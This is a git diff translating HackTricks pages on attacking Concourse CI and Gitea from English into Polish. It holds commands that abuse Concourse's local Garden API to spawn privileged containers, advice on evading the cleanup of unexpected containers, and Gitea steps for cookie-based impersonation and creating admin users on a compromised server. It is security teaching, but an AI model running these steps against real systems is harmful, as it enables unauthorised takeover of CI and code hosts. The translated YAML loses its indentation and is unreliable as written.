127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/properties # Execute a new process inside a container ## In this case "sleep 20000" will be executed in the container with handler ac793559-7f53-4efc-6591-0171a0391e53 wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \ - --header='Content-Type:application/json' \ - 'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes' +--header='Content-Type:application/json' \ +'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes' # OR instead of doing all of that, you could just get into the ns of the process of the privileged container nsenter --target 76011 --mount --uts --ipc --net --pid -- sh ``` +**Tworzenie nowego uprzywilejowanego kontenera** -**Creating a new privileged container** - -You can very easily create a new container (just run a random UID) and execute something on it: - +Możesz bardzo łatwo stworzyć nowy kontener (po prostu uruchom losowy UID) i wykonać na nim coś: ```bash curl -X POST http://127.0.0.1:7777/containers \ - -H 'Content-Type: application/json' \ - -d '{"handle":"123ae8fc-47ed-4eab-6b2e-123458880690","rootfs":"raw:///concourse-work-dir/volumes/live/ec172ffd-31b8-419c-4ab6-89504de17196/volume","image":{},"bind_mounts":[{"src_path":"/concourse-work-dir/volumes/live/9f367605-c9f0-405b-7756-9c113eba11f1/volume","dst_path":"/scratch","mode":1}],"properties":{"user":""},"env":["BUILD_ID=28","BUILD_NAME=24","BUILD_TEAM_ID=1","BUILD_TEAM_NAME=main","ATC_EXTERNAL_URL=http://127.0.0.1:8080"],"limits":{"bandwidth_limits":{},"cpu_limits":{},"disk_limits":{},"memory_limits":{},"pid_limits":{}}}' +-H 'Content-Type: application/json' \ +-d '{"handle":"123ae8fc-47ed-4eab-6b2e-123458880690","rootfs":"raw:///concourse-work-dir/volumes/live/ec172ffd-31b8-419c-4ab6-89504de17196/volume","image":{},"bind_mounts":[{"src_path":"/concourse-work-dir/volumes/live/9f367605-c9f0-405b-7756-9c113eba11f1/volume","dst_path":"/scratch","mode":1}],"properties":{"user":""},"env":["BUILD_ID=28","BUILD_NAME=24","BUILD_TEAM_ID=1","BUILD_TEAM_NAME=main","ATC_EXTERNAL_URL=http://127.0.0.1:8080"],"limits":{"bandwidth_limits":{},"cpu_limits":{},"disk_limits":{},"memory_limits":{},"pid_limits":{}}}' # Wget will be stucked there as long as the process is being executed wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \ - --header='Content-Type:application/json' \ - 'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes' +--header='Content-Type:application/json' \ +'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes' ``` - -However, the web server is checking every few seconds the containers that are running, and if an unexpected one is discovered, it will be deleted. As the communication is occurring in HTTP, you could tamper the communication to avoid the deletion of unexpected containers: - +Jednak serwer WWW sprawdza co kilka sekund działające kontenery, a jeśli zostanie odkryty niespodziewany, zostanie on usunięty. Ponieważ komunikacja odbywa się w HTTP, możesz manipulować komunikacją, aby uniknąć usunięcia niespodziewanych kontenerów: ``` GET /containers HTTP/1.1. Host: 127.0.0.1:7777. @@ -434,13 +409,8 @@ Host: 127.0.0.1:7777. User-Agent: Go-http-client/1.1. Accept-Encoding: gzip. ``` - -## References +## Odniesienia - https://concourse-ci.org/vars.html {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md b/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md index 0cc6363a7..32b97ffbc 100644 --- a/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md +++ b/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md @@ -2,25 +2,22 @@ {{#include ../../banners/hacktricks-training.md}} -## Testing Environment +## Środowisko testowe -### Running Concourse +### Uruchamianie Concourse -#### With Docker-Compose - -This docker-compose file simplifies the installation to do some tests with concourse: +#### Z Docker-Compose +Ten plik docker-compose upraszcza instalację, aby przeprowadzić kilka testów z concourse: ```bash wget https://raw.githubusercontent.com/starkandwayne/concourse-tutorial/master/docker-compose.yml docker-compose up -d ``` +Możesz pobrać linię poleceń `fly` dla swojego systemu operacyjnego z sieci pod adresem `127.0.0.1:8080` -You can download the command line `fly` for your OS from the web in `127.0.0.1:8080` - -#### With Kubernetes (Recommended) - -You can easily deploy concourse in **Kubernetes** (in **minikube** for example) using the helm-chart: [**concourse-chart**](https://github.com/concourse/concourse-chart). +#### Z Kubernetes (Zalecane) +Możesz łatwo wdrożyć concourse w **Kubernetes** (na przykład w **minikube**) używając helm-chart: [**concourse-chart**](https://github.com/concourse/concourse-chart). ```bash brew install helm helm repo add concourse https://concourse-charts.storage.googleapis.com/ @@ -31,94 +28,90 @@ helm install concourse-release concourse/concourse # If you need to delete it helm delete concourse-release ``` - -After generating the concourse env, you could generate a secret and give a access to the SA running in concourse web to access K8s secrets: - +Po wygenerowaniu środowiska concourse, możesz wygenerować sekret i przyznać dostęp do SA działającego w concourse web, aby uzyskać dostęp do sekretów K8s: ```yaml echo 'apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole metadata: - name: read-secrets +name: read-secrets rules: - apiGroups: [""] - resources: ["secrets"] - verbs: ["get"] +resources: ["secrets"] +verbs: ["get"] --- apiVersion: rbac.authorization.k8s.io/v1 kind: RoleBinding metadata: - name: read-secrets-concourse +name: read-secrets-concourse roleRef: - apiGroup: rbac.authorization.k8s.io - kind: ClusterRole - name: read-secrets +apiGroup: rbac.authorization.k8s.io +kind: ClusterRole +name: read-secrets subjects: - kind: ServiceAccount - name: concourse-release-web - namespace: default +name: concourse-release-web +namespace: default --- apiVersion: v1 kind: Secret metadata: - name: super - namespace: concourse-release-main +name: super +namespace: concourse-release-main type: Opaque data: - secret: MWYyZDFlMmU2N2Rm +secret: MWYyZDFlMmU2N2Rm ' | kubectl apply -f - ``` +### Utwórz Pipeline -### Create Pipeline +Pipeline składa się z listy [Jobs](https://concourse-ci.org/jobs.html), która zawiera uporządkowaną listę [Steps](https://concourse-ci.org/steps.html). -A pipeline is made of a list of [Jobs](https://concourse-ci.org/jobs.html) which contains an ordered list of [Steps](https://concourse-ci.org/steps.html). +### Kroki -### Steps +Można użyć kilku różnych typów kroków: -Several different type of steps can be used: +- **krok** [**`task`**](https://concourse-ci.org/task-step.html) **uruchamia** [**zadanie**](https://concourse-ci.org/tasks.html) +- krok [`get`](https://concourse-ci.org/get-step.html) pobiera [zasób](https://concourse-ci.org/resources.html) +- krok [`put`](https://concourse-ci.org/put-step.html) aktualizuje [zasób](https://concourse-ci.org/resources.html) +- krok [`set_pipeline`](https://concourse-ci.org/set-pipeline-step.html) konfiguruje [pipeline](https://concourse-ci.org/pipelines.html) +- krok [`load_var`](https://concourse-ci.org/load-var-step.html) ładuje wartość do [zmiennej lokalnej](https://concourse-ci.org/vars.html#local-vars) +- krok [`in_parallel`](https://concourse-ci.org/in-parallel-step.html) uruchamia kroki równolegle +- krok [`do`](https://concourse-ci.org/do-step.html) uruchamia kroki w sekwencji +- modyfikator kroku [`across`](https://concourse-ci.org/across-step.html#schema.across) uruchamia krok wielokrotnie; raz dla każdej kombinacji wartości zmiennych +- krok [`try`](https://concourse-ci.org/try-step.html) próbuje uruchomić krok i odnosi sukces, nawet jeśli krok się nie powiedzie -- **the** [**`task` step**](https://concourse-ci.org/task-step.html) **runs a** [**task**](https://concourse-ci.org/tasks.html) -- the [`get` step](https://concourse-ci.org/get-step.html) fetches a [resource](https://concourse-ci.org/resources.html) -- the [`put` step](https://concourse-ci.org/put-step.html) updates a [resource](https://concourse-ci.org/resources.html) -- the [`set_pipeline` step](https://concourse-ci.org/set-pipeline-step.html) configures a [pipeline](https://concourse-ci.org/pipelines.html) -- the [`load_var` step](https://concourse-ci.org/load-var-step.html) loads a value into a [local var](https://concourse-ci.org/vars.html#local-vars) -- the [`in_parallel` step](https://concourse-ci.org/in-parallel-step.html) runs steps in parallel -- the [`do` step](https://concourse-ci.org/do-step.html) runs steps in sequence -- the [`across` step modifier](https://concourse-ci.org/across-step.html#schema.across) runs a step multiple times; once for each combination of variable values -- the [`try` step](https://concourse-ci.org/try-step.html) attempts to run a step and succeeds even if the step fails +Każdy [krok](https://concourse-ci.org/steps.html) w [planie zadania](https://concourse-ci.org/jobs.html#schema.job.plan) działa w **swoim własnym kontenerze**. Możesz uruchomić cokolwiek chcesz wewnątrz kontenera _(tzn. uruchomić moje testy, uruchomić ten skrypt bash, zbudować ten obraz, itd.)_. Więc jeśli masz zadanie z pięcioma krokami, Concourse utworzy pięć kontenerów, po jednym dla każdego kroku. -Each [step](https://concourse-ci.org/steps.html) in a [job plan](https://concourse-ci.org/jobs.html#schema.job.plan) runs in its **own container**. You can run anything you want inside the container _(i.e. run my tests, run this bash script, build this image, etc.)_. So if you have a job with five steps Concourse will create five containers, one for each step. - -Therefore, it's possible to indicate the type of container each step needs to be run in. - -### Simple Pipeline Example +Dlatego możliwe jest wskazanie, jaki typ kontenera potrzebny jest do uruchomienia każdego kroku. +### Przykład prostego pipeline'a ```yaml jobs: - - name: simple - plan: - - task: simple-task - privileged: true - config: - # Tells Concourse which type of worker this task should run on - platform: linux - image_resource: - type: registry-image - source: - repository: busybox # images are pulled from docker hub by default - run: - path: sh - args: - - -cx - - | - sleep 1000 - echo "$SUPER_SECRET" - params: - SUPER_SECRET: ((super.secret)) +- name: simple +plan: +- task: simple-task +privileged: true +config: +# Tells Concourse which type of worker this task should run on +platform: linux +image_resource: +type: registry-image +source: +repository: busybox # images are pulled from docker hub by default +run: +path: sh +args: +- -cx +- | +sleep 1000 +echo "$SUPER_SECRET" +params: +SUPER_SECRET: ((super.secret)) ``` ```bash @@ -130,26 +123,21 @@ fly -t tutorial trigger-job --job pipe-name/simple --watch # From another console fly -t tutorial intercept --job pipe-name/simple ``` +Sprawdź **127.0.0.1:8080**, aby zobaczyć przepływ pipeline'u. -Check **127.0.0.1:8080** to see the pipeline flow. +### Skrypt Bash z potokiem wyjścia/wejścia -### Bash script with output/input pipeline +Możliwe jest **zapisanie wyników jednego zadania w pliku** i wskazanie, że jest to wyjście, a następnie wskazanie wejścia następnego zadania jako wyjścia poprzedniego zadania. To, co robi concourse, to **zamontowanie katalogu poprzedniego zadania w nowym zadaniu, gdzie możesz uzyskać dostęp do plików utworzonych przez poprzednie zadanie**. -It's possible to **save the results of one task in a file** and indicate that it's an output and then indicate the input of the next task as the output of the previous task. What concourse does is to **mount the directory of the previous task in the new task where you can access the files created by the previous task**. +### Wyzwalacze -### Triggers +Nie musisz ręcznie wyzwalać zadań za każdym razem, gdy musisz je uruchomić, możesz również zaprogramować je do uruchamiania za każdym razem: -You don't need to trigger the jobs manually every-time you need to run them, you can also program them to be run every-time: +- Mija trochę czasu: [Time resource](https://github.com/concourse/time-resource/) +- Przy nowych commitach do głównej gałęzi: [Git resource](https://github.com/concourse/git-resource) +- Nowe PR: [Github-PR resource](https://github.com/telia-oss/github-pr-resource) +- Pobierz lub wypchnij najnowszy obraz swojej aplikacji: [Registry-image resource](https://github.com/concourse/registry-image-resource/) -- Some time passes: [Time resource](https://github.com/concourse/time-resource/) -- On new commits to the main branch: [Git resource](https://github.com/concourse/git-resource) -- New PR's: [Github-PR resource](https://github.com/telia-oss/github-pr-resource) -- Fetch or push the latest image of your app: [Registry-image resource](https://github.com/concourse/registry-image-resource/) - -Check a YAML pipeline example that triggers on new commits to master in [https://concourse-ci.org/tutorial-resources.html](https://concourse-ci.org/tutorial-resources.html) +Sprawdź przykład pipeline'u YAML, który wyzwala się przy nowych commitach do master w [https://concourse-ci.org/tutorial-resources.html](https://concourse-ci.org/tutorial-resources.html) {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/gitea-security/README.md b/src/pentesting-ci-cd/gitea-security/README.md index bf4f6485a..74e9d9a33 100644 --- a/src/pentesting-ci-cd/gitea-security/README.md +++ b/src/pentesting-ci-cd/gitea-security/README.md @@ -2,141 +2,129 @@ {{#include ../../banners/hacktricks-training.md}} -## What is Gitea +## Czym jest Gitea -**Gitea** is a **self-hosted community managed lightweight code hosting** solution written in Go. +**Gitea** to **rozwiązanie do hostowania kodu zarządzane przez społeczność, samodzielnie hostowane, lekkie**, napisane w Go. ![](<../../images/image (160).png>) -### Basic Information +### Podstawowe informacje {{#ref}} basic-gitea-information.md {{#endref}} -## Lab - -To run a Gitea instance locally you can just run a docker container: +## Laboratorium +Aby uruchomić instancję Gitea lokalnie, wystarczy uruchomić kontener docker: ```bash docker run -p 3000:3000 gitea/gitea ``` +Połącz się z portem 3000, aby uzyskać dostęp do strony internetowej. -Connect to port 3000 to access the web page. - -You could also run it with kubernetes: - +Możesz również uruchomić to z kubernetes: ``` helm repo add gitea-charts https://dl.gitea.io/charts/ helm install gitea gitea-charts/gitea ``` +## Nieużytkownikowa Enumeracja -## Unauthenticated Enumeration +- Publiczne repozytoria: [http://localhost:3000/explore/repos](http://localhost:3000/explore/repos) +- Zarejestrowani użytkownicy: [http://localhost:3000/explore/users](http://localhost:3000/explore/users) +- Zarejestrowane organizacje: [http://localhost:3000/explore/organizations](http://localhost:3000/explore/organizations) -- Public repos: [http://localhost:3000/explore/repos](http://localhost:3000/explore/repos) -- Registered users: [http://localhost:3000/explore/users](http://localhost:3000/explore/users) -- Registered Organizations: [http://localhost:3000/explore/organizations](http://localhost:3000/explore/organizations) +Zauważ, że **domyślnie Gitea pozwala nowym użytkownikom na rejestrację**. To nie da szczególnie interesującego dostępu nowym użytkownikom do repozytoriów innych organizacji/użytkowników, ale **zalogowany użytkownik** może być w stanie **zobaczyć więcej repozytoriów lub organizacji**. -Note that by **default Gitea allows new users to register**. This won't give specially interesting access to the new users over other organizations/users repos, but a **logged in user** might be able to **visualize more repos or organizations**. +## Wewnętrzna Eksploatacja -## Internal Exploitation +W tym scenariuszu zakładamy, że uzyskałeś dostęp do konta github. -For this scenario we are going to suppose that you have obtained some access to a github account. +### Z Danymi Użytkownika/Ciastkiem Webowym -### With User Credentials/Web Cookie +Jeśli w jakiś sposób już masz dane logowania dla użytkownika w organizacji (lub ukradłeś ciastko sesji), możesz **po prostu się zalogować** i sprawdzić, jakie **uprawnienia masz** do jakich **repozytoriów**, w **jakich zespołach** jesteś, **wypisać innych użytkowników** oraz **jak są chronione repozytoria.** -If you somehow already have credentials for a user inside an organization (or you stole a session cookie) you can **just login** and check which which **permissions you have** over which **repos,** in **which teams** you are, **list other users**, and **how are the repos protected.** - -Note that **2FA may be used** so you will only be able to access this information if you can also **pass that check**. +Zauważ, że **może być używane 2FA**, więc będziesz mógł uzyskać dostęp do tych informacji tylko wtedy, gdy również **przejdziesz tę kontrolę**. > [!NOTE] -> Note that if you **manage to steal the `i_like_gitea` cookie** (currently configured with SameSite: Lax) you can **completely impersonate the user** without needing credentials or 2FA. +> Zauważ, że jeśli **uda ci się ukraść ciastko `i_like_gitea`** (aktualnie skonfigurowane z SameSite: Lax), możesz **całkowicie podszyć się pod użytkownika** bez potrzeby posiadania danych logowania lub 2FA. -### With User SSH Key +### Z Klucza SSH Użytkownika -Gitea allows **users** to set **SSH keys** that will be used as **authentication method to deploy code** on their behalf (no 2FA is applied). - -With this key you can perform **changes in repositories where the user has some privileges**, however you can not use it to access gitea api to enumerate the environment. However, you can **enumerate local settings** to get information about the repos and user you have access to: +Gitea pozwala **użytkownikom** ustawiać **klucze SSH**, które będą używane jako **metoda uwierzytelniania do wdrażania kodu** w ich imieniu (2FA nie jest stosowane). +Z tym kluczem możesz wprowadzać **zmiany w repozytoriach, w których użytkownik ma pewne uprawnienia**, jednak nie możesz go użyć do uzyskania dostępu do API gitea w celu enumeracji środowiska. Możesz jednak **enumerować lokalne ustawienia**, aby uzyskać informacje o repozytoriach i użytkowniku, do którego masz dostęp: ```bash # Go to the the repository folder # Get repo config and current user name and email git config --list ``` +Jeśli użytkownik skonfigurował swoją nazwę użytkownika jako swoją nazwę użytkownika gitea, możesz uzyskać dostęp do **kluczy publicznych, które ustawił** w swoim koncie pod adresem _https://github.com/\.keys_, możesz to sprawdzić, aby potwierdzić, że znaleziony klucz prywatny może być użyty. -If the user has configured its username as his gitea username you can access the **public keys he has set** in his account in _https://github.com/\.keys_, you could check this to confirm the private key you found can be used. +**Klucze SSH** mogą być również ustawione w repozytoriach jako **klucze wdrożeniowe**. Każdy, kto ma dostęp do tego klucza, będzie mógł **uruchomić projekty z repozytorium**. Zwykle na serwerze z różnymi kluczami wdrożeniowymi lokalny plik **`~/.ssh/config`** dostarczy informacji o tym, do którego klucza się odnosi. -**SSH keys** can also be set in repositories as **deploy keys**. Anyone with access to this key will be able to **launch projects from a repository**. Usually in a server with different deploy keys the local file **`~/.ssh/config`** will give you info about key is related. +#### Klucze GPG -#### GPG Keys - -As explained [**here**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/gitea-security/broken-reference/README.md) sometimes it's needed to sign the commits or you might get discovered. - -Check locally if the current user has any key with: +Jak wyjaśniono [**tutaj**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/gitea-security/broken-reference/README.md), czasami konieczne jest podpisanie commitów, inaczej możesz zostać odkryty. +Sprawdź lokalnie, czy bieżący użytkownik ma jakikolwiek klucz za pomocą: ```shell gpg --list-secret-keys --keyid-format=long ``` +### Z tokenem użytkownika -### With User Token +Aby uzyskać wprowadzenie na temat [**Tokenów Użytkownika sprawdź podstawowe informacje**](basic-gitea-information.md#personal-access-tokens). -For an introduction about [**User Tokens check the basic information**](basic-gitea-information.md#personal-access-tokens). +Token użytkownika może być używany **zamiast hasła** do **uwierzytelnienia** w serwerze Gitea [**za pomocą API**](https://try.gitea.io/api/swagger#/). Będzie miał **pełny dostęp** do konta użytkownika. -A user token can be used **instead of a password** to **authenticate** against Gitea server [**via API**](https://try.gitea.io/api/swagger#/). it will has **complete access** over the user. +### Z aplikacją Oauth -### With Oauth Application +Aby uzyskać wprowadzenie na temat [**Aplikacji Oauth Gitea sprawdź podstawowe informacje**](./#with-oauth-application). -For an introduction about [**Gitea Oauth Applications check the basic information**](./#with-oauth-application). +Atakujący może stworzyć **złośliwą aplikację Oauth**, aby uzyskać dostęp do uprzywilejowanych danych/akcji użytkowników, którzy prawdopodobnie zaakceptują je jako część kampanii phishingowej. -An attacker might create a **malicious Oauth Application** to access privileged data/actions of the users that accepts them probably as part of a phishing campaign. +Jak wyjaśniono w podstawowych informacjach, aplikacja będzie miała **pełny dostęp do konta użytkownika**. -As explained in the basic information, the application will have **full access over the user account**. +### Ominięcie ochrony gałęzi -### Branch Protection Bypass +W Github mamy **github actions**, które domyślnie uzyskują **token z dostępem do zapisu** w repozytorium, który może być użyty do **ominięcia ochrony gałęzi**. W tym przypadku **to nie istnieje**, więc obejścia są bardziej ograniczone. Ale przyjrzyjmy się, co można zrobić: -In Github we have **github actions** which by default get a **token with write access** over the repo that can be used to **bypass branch protections**. In this case that **doesn't exist**, so the bypasses are more limited. But lets take a look to what can be done: +- **Włącz Push**: Jeśli ktokolwiek z dostępem do zapisu może wypchnąć do gałęzi, po prostu wypchnij do niej. +- **Biała lista ograniczonych Push**: W ten sam sposób, jeśli jesteś częścią tej listy, wypchnij do gałęzi. +- **Włącz białą listę scalania**: Jeśli istnieje biała lista scalania, musisz być w jej obrębie. +- **Wymagaj, aby zatwierdzenia były większe niż 0**: Wtedy... musisz skompromitować innego użytkownika. +- **Ogranicz zatwierdzenia do białej listy**: Jeśli tylko użytkownicy z białej listy mogą zatwierdzać... musisz skompromitować innego użytkownika, który jest na tej liście. +- **Odrzuć przestarzałe zatwierdzenia**: Jeśli zatwierdzenia nie są usuwane z nowymi commitami, możesz przejąć już zatwierdzone PR, aby wstrzyknąć swój kod i scalić PR. -- **Enable Push**: If anyone with write access can push to the branch, just push to it. -- **Whitelist Restricted Pus**h: The same way, if you are part of this list push to the branch. -- **Enable Merge Whitelist**: If there is a merge whitelist, you need to be inside of it -- **Require approvals is bigger than 0**: Then... you need to compromise another user -- **Restrict approvals to whitelisted**: If only whitelisted users can approve... you need to compromise another user that is inside that list -- **Dismiss stale approvals**: If approvals are not removed with new commits, you could hijack an already approved PR to inject your code and merge the PR. +Zauważ, że **jeśli jesteś administratorem org/repo**, możesz obejść te zabezpieczenia. -Note that **if you are an org/repo admin** you can bypass the protections. +### Wyliczanie Webhooków -### Enumerate Webhooks +**Webhooki** są w stanie **wysyłać konkretne informacje gitea do niektórych miejsc**. Możesz być w stanie **wykorzystać tę komunikację**.\ +Jednak zazwyczaj w **webhooku** ustawiony jest **sekret**, którego **nie możesz odzyskać**, co **zapobiega** zewnętrznym użytkownikom, którzy znają URL webhooka, ale nie znają sekretu, aby **wykorzystać ten webhook**.\ +Jednak w niektórych przypadkach ludzie zamiast ustawić **sekret** w jego miejscu, **ustawiają go w URL** jako parametr, więc **sprawdzanie URL** może pozwolić ci **znaleźć sekrety** i inne miejsca, które możesz dalej wykorzystać. -**Webhooks** are able to **send specific gitea information to some places**. You might be able to **exploit that communication**.\ -However, usually a **secret** you can **not retrieve** is set in the **webhook** that will **prevent** external users that know the URL of the webhook but not the secret to **exploit that webhook**.\ -But in some occasions, people instead of setting the **secret** in its place, they **set it in the URL** as a parameter, so **checking the URLs** could allow you to **find secrets** and other places you could exploit further. +Webhooki mogą być ustawione na **poziomie repozytorium i organizacji**. -Webhooks can be set at **repo and at org level**. +## Po eksploatacji -## Post Exploitation +### Wewnątrz serwera -### Inside the server +Jeśli w jakiś sposób udało ci się dostać do serwera, na którym działa gitea, powinieneś poszukać pliku konfiguracyjnego gitea. Domyślnie znajduje się on w `/data/gitea/conf/app.ini` -If somehow you managed to get inside the server where gitea is running you should search for the gitea configuration file. By default it's located in `/data/gitea/conf/app.ini` +W tym pliku możesz znaleźć **klucze** i **hasła**. -In this file you can find **keys** and **passwords**. +W ścieżce gitea (domyślnie: /data/gitea) możesz również znaleźć interesujące informacje, takie jak: -In the gitea path (by default: /data/gitea) you can find also interesting information like: +- **baza danych sqlite**: Jeśli gitea nie używa zewnętrznej bazy danych, użyje bazy danych sqlite. +- **sesje** w folderze sesji: Uruchamiając `cat sessions/*/*/*`, możesz zobaczyć nazwy użytkowników zalogowanych użytkowników (gitea może również zapisywać sesje w bazie danych). +- **klucz prywatny jwt** w folderze jwt. +- Więcej **wrażliwych informacji** można znaleźć w tym folderze. -- The **sqlite** DB: If gitea is not using an external db it will use a sqlite db -- The **sessions** inside the sessions folder: Running `cat sessions/*/*/*` you can see the usernames of the logged users (gitea could also save the sessions inside the DB). -- The **jwt private key** inside the jwt folder -- More **sensitive information** could be found in this folder +Jeśli jesteś wewnątrz serwera, możesz również **użyć binarnego pliku `gitea`** do uzyskania/dostosowania informacji: -If you are inside the server you can also **use the `gitea` binary** to access/modify information: - -- `gitea dump` will dump gitea and generate a .zip file -- `gitea generate secret INTERNAL_TOKEN/JWT_SECRET/SECRET_KEY/LFS_JWT_SECRET` will generate a token of the indicated type (persistence) -- `gitea admin user change-password --username admin --password newpassword` Change the password -- `gitea admin user create --username newuser --password superpassword --email user@user.user --admin --access-token` Create new admin user and get an access token +- `gitea dump` zrzuci gitea i wygeneruje plik .zip. +- `gitea generate secret INTERNAL_TOKEN/JWT_SECRET/SECRET_KEY/LFS_JWT_SECRET` wygeneruje token wskazanego typu (trwałość). +- `gitea admin user change-password --username admin --password newpassword` Zmień hasło. +- `gitea admin user create --username newuser --password superpassword --email user@user.user --admin --access-token` Utwórz nowego użytkownika administratora i uzyskaj token dostępu. {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md b/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md index e6e4d9ba3..eaff61f2b 100644 --- a/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md +++ b/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md @@ -1,107 +1,103 @@ -# Basic Gitea Information +# Podstawowe informacje o Gitea {{#include ../../banners/hacktricks-training.md}} -## Basic Structure +## Podstawowa struktura -The basic Gitea environment structure is to group repos by **organization(s),** each of them may contain **several repositories** and **several teams.** However, note that just like in github users can have repos outside of the organization. +Podstawowa struktura środowiska Gitea polega na grupowaniu repozytoriów według **organizacji**, z których każda może zawierać **kilka repozytoriów** i **kilka zespołów**. Należy jednak zauważyć, że podobnie jak w githubie, użytkownicy mogą mieć repozytoria poza organizacją. -Moreover, a **user** can be a **member** of **different organizations**. Within the organization the user may have **different permissions over each repository**. +Ponadto, **użytkownik** może być **członkiem** **różnych organizacji**. W ramach organizacji użytkownik może mieć **różne uprawnienia do każdego repozytorium**. -A user may also be **part of different teams** with different permissions over different repos. +Użytkownik może być również **częścią różnych zespołów** z różnymi uprawnieniami do różnych repozytoriów. -And finally **repositories may have special protection mechanisms**. +I w końcu **repozytoria mogą mieć specjalne mechanizmy ochrony**. -## Permissions +## Uprawnienia -### Organizations +### Organizacje -When an **organization is created** a team called **Owners** is **created** and the user is put inside of it. This team will give **admin access** over the **organization**, those **permissions** and the **name** of the team **cannot be modified**. +Gdy **organizacja jest tworzona**, tworzony jest zespół o nazwie **Właściciele** i użytkownik jest do niego dodawany. Ten zespół zapewni **dostęp administracyjny** do **organizacji**, te **uprawnienia** i **nazwa** zespołu **nie mogą być modyfikowane**. -**Org admins** (owners) can select the **visibility** of the organization: +**Administratorzy organizacji** (właściciele) mogą wybrać **widoczność** organizacji: -- Public -- Limited (logged in users only) -- Private (members only) +- Publiczna +- Ograniczona (tylko zalogowani użytkownicy) +- Prywatna (tylko członkowie) -**Org admins** can also indicate if the **repo admins** can **add and or remove access** for teams. They can also indicate the max number of repos. +**Administratorzy organizacji** mogą również wskazać, czy **administratorzy repozytoriów** mogą **dodawać lub usuwać dostęp** dla zespołów. Mogą również wskazać maksymalną liczbę repozytoriów. -When creating a new team, several important settings are selected: +Podczas tworzenia nowego zespołu wybierane są kilka ważnych ustawień: -- It's indicated the **repos of the org the members of the team will be able to access**: specific repos (repos where the team is added) or all. -- It's also indicated **if members can create new repos** (creator will get admin access to it) -- The **permissions** the **members** of the repo will **have**: - - **Administrator** access - - **Specific** access: +- Wskazuje się **repozytoria organizacji, do których członkowie zespołu będą mieli dostęp**: konkretne repozytoria (repozytoria, do których zespół jest dodany) lub wszystkie. +- Wskazuje się również **czy członkowie mogą tworzyć nowe repozytoria** (twórca uzyska do nich dostęp administracyjny) +- **Uprawnienia**, które **członkowie** repozytoriów będą **mieć**: +- **Dostęp administratora** +- **Specyficzny** dostęp: ![](<../../images/image (118).png>) -### Teams & Users +### Zespoły i użytkownicy -In a repo, the **org admin** and the **repo admins** (if allowed by the org) can **manage the roles** given to collaborators (other users) and teams. There are **3** possible **roles**: +W repozytorium, **administrator organizacji** i **administratorzy repozytoriów** (jeśli dozwolone przez organizację) mogą **zarządzać rolami** nadawanymi współpracownikom (innym użytkownikom) i zespołom. Istnieją **3** możliwe **role**: - Administrator -- Write -- Read +- Zapis +- Odczyt -## Gitea Authentication +## Uwierzytelnianie Gitea -### Web Access +### Dostęp przez sieć -Using **username + password** and potentially (and recommended) a 2FA. +Używając **nazwa użytkownika + hasło** i potencjalnie (i zalecane) 2FA. -### **SSH Keys** +### **Klucze SSH** -You can configure your account with one or several public keys allowing the related **private key to perform actions on your behalf.** [http://localhost:3000/user/settings/keys](http://localhost:3000/user/settings/keys) +Możesz skonfigurować swoje konto z jednym lub kilkoma kluczami publicznymi, pozwalając powiązanemu **kluczowi prywatnemu na wykonywanie działań w twoim imieniu.** [http://localhost:3000/user/settings/keys](http://localhost:3000/user/settings/keys) -#### **GPG Keys** +#### **Klucze GPG** -You **cannot impersonate the user with these keys** but if you don't use it it might be possible that you **get discover for sending commits without a signature**. +**Nie możesz podszywać się pod użytkownika za pomocą tych kluczy**, ale jeśli ich nie używasz, może być możliwe, że **zostaniesz odkryty za wysyłanie commitów bez podpisu**. -### **Personal Access Tokens** +### **Tokeny dostępu osobistego** -You can generate personal access token to **give an application access to your account**. A personal access token gives full access over your account: [http://localhost:3000/user/settings/applications](http://localhost:3000/user/settings/applications) +Możesz wygenerować token dostępu osobistego, aby **dać aplikacji dostęp do swojego konta**. Token dostępu osobistego daje pełny dostęp do twojego konta: [http://localhost:3000/user/settings/applications](http://localhost:3000/user/settings/applications) -### Oauth Applications +### Aplikacje Oauth -Just like personal access tokens **Oauth applications** will have **complete access** over your account and the places your account has access because, as indicated in the [docs](https://docs.gitea.io/en-us/oauth2-provider/#scopes), scopes aren't supported yet: +Podobnie jak tokeny dostępu osobistego, **aplikacje Oauth** będą miały **pełny dostęp** do twojego konta i miejsc, do których twoje konto ma dostęp, ponieważ, jak wskazano w [dokumentacji](https://docs.gitea.io/en-us/oauth2-provider/#scopes), zakresy nie są jeszcze obsługiwane: ![](<../../images/image (194).png>) -### Deploy keys +### Klucze wdrożeniowe -Deploy keys might have read-only or write access to the repo, so they might be interesting to compromise specific repos. +Klucze wdrożeniowe mogą mieć dostęp tylko do odczytu lub zapisu do repozytorium, więc mogą być interesujące do kompromitacji konkretnych repozytoriów. -## Branch Protections +## Ochrona gałęzi -Branch protections are designed to **not give complete control of a repository** to the users. The goal is to **put several protection methods before being able to write code inside some branch**. +Ochrona gałęzi ma na celu **nieprzekazywanie pełnej kontroli nad repozytorium** użytkownikom. Celem jest **wprowadzenie kilku metod ochrony przed możliwością pisania kodu w niektórej gałęzi**. -The **branch protections of a repository** can be found in _https://localhost:3000/\/\/settings/branches_ +**Ochrona gałęzi repozytorium** może być znaleziona w 